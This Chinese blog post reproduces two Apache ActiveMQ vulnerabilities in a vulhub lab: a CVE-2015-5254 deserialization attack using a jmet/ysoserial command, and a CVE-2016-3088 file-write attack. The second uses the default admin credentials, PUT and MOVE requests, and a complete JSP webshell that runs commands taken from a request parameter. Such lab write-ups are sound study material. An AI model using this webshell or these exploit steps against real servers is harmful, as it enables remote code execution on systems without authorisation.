当前位置:网站首页>vulhub复现一 activemq
vulhub复现一 activemq
2022-06-26 01:12:00 【shayebudon】
一、概述
Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。
环境运行后,会开启两个端口,61616和8161
其中61616是工作端口,消息在这个端口进行传递,8161是网络管理页面端口,访问ip:8161即可看到网络管理页面。
一 CVE-2015-5254ActiveMQ反序列化漏洞
漏洞详情:
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码
1.上传文件
使用ysoserial构造可执行命令的序列化对象
作为一个消息,发送给61616端口
访问web页面,查看消息,触发漏洞
下载jmet的jar文件,Jmet原理是使用ysoserial生成payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME
执行如下命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch
/tmp/success” -Yp ROME 192.168.4.10 61616

这个时候已经上传到web管理页面,我们通过访问
http://yourip:8161/admin/browse.jsp?JMSDestination=event
来查看消息
点击查看这条消息,触发漏洞。查看容器中/tem/success利用漏洞成功
二、CVE-2016-3088Activemq任意文件写入漏洞
首先访问ip:8161/admin进行登录 账号:admin 密码:admin
访问ip:8161/fileserver进行抓包,使用PUT方法,将webshell上传到fileserver目录下
jsp的内容为:
<%@ page import=“java.io.*”%> <% out.print(“Hello”); String
strcmd=request.getParameter(“cmd”); String line=null; Process
p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new
BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){ out.print(line+“”); } %>
访问jsp页面
没有解析成功,是fileserver目录下权限不够,访问ip:8161//admin/test/systemProperties.jsp,查看Activemq的绝对路径
等到他的绝对路径后,访问/fileserver/4.jsp,进行抓包,利用MOVE的方式将4.jsp移到opt目录下
移动之后,访问/api/4.jsp?cmd=whoami 命令执行成功
边栏推荐
- [defect detection] automatic defect detection of printed circuit board based on Matlab GUI [including Matlab source code 1912]
- WPF 窗口居中 & 变更触发机制
- cv==biaoding---open----cv001
- What is the sudden power failure of iPhone and how to solve it?
- High performance and high availability computing architecture based on microblog comments
- 基于邻接表的广度优先遍历
- Codecraft-17 and Codeforces Round #391 (Div. 1 + Div. 2, combined) D. Felicity‘s Big Secret Revealed
- Chrome browser developer tool usage
- MySQL必須掌握4種語言!
- Analytic hierarchy process
猜你喜欢

Pie chart metamorphosis record, the liver has 3000 words, collection is to learn!

Implement decorator pattern for servicecollection

Analytic hierarchy process

Explain the JVM clearly at one time and don't be asked by the interviewer again

win32

表达式的动态解析和计算,Flee用起来真香

Remember a simple JVM tuning experience

SDRAM控制器——仲裁模块的实现

How do I fix the iPhone green screen problem? Try these solutions

win32
随机推荐
Wechat launched a web version transmission assistant. Is it really easy to use?
Back to top case
用指南针交易股票安全吗?指南针是如何交易股票的,需要开户吗
【缺陷检测】基于matlab GUI印刷电路板自动缺陷检测【含Matlab源码 1912期】
Sqlyog shortcut keys
Calibration...
OA process editing
WPF 窗口居中 & 变更触发机制
基于邻接表的深度优先遍历
OpenAPI 3.0 规范-食用指南
网上开户选哪个证券公司?网上开户是否安全么?
Which SMS plug-in is easy to use? The universal form needs to be tested by sending SMS
Ardiuno智能电蚊拍
Prometeus 2.33.0 new features
Pie chart metamorphosis record, the liver has 3000 words, collection is to learn!
Use of static library and dynamic library
socket demo01
Implement decorator pattern for servicecollection
Cvpr2022 𞓜 future transformer with long-term action expectation
cv==biaoding---open----cv001